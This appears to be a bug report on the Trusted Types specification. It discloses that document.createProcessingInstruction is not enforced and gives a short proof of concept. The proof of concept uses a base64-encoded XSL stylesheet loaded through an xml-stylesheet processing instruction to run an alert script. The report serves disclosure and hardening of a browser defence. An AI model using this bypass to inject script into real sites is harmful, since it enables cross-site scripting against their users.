Maybe enforce Trusted Types in document.createProcessingInstruction?

[shhnjk]

Currently, there is no Trusted Types enforcement on document.createProcessingInstruction.
Found by @masatokinugawa.
https://twitter.com/kinugawamasato/status/1493571837019648003

<script>
  let attackerControlledString = 'data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHhzbDpzdHlsZXNoZWV0IHhtbG5zOnhzbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS9YU0wvVHJhbnNmb3JtIiB2ZXJzaW9uPSIxLjAiPgogIDx4c2w6b3V0cHV0IG1ldGhvZD0iaHRtbCIgIC8+CiAgPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0PgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg==';
  const pi=document.createProcessingInstruction("xml-stylesheet",`href='${attackerControlledString}' type='text/xml'`);
  document.insertBefore(pi, document.firstChild);
</script>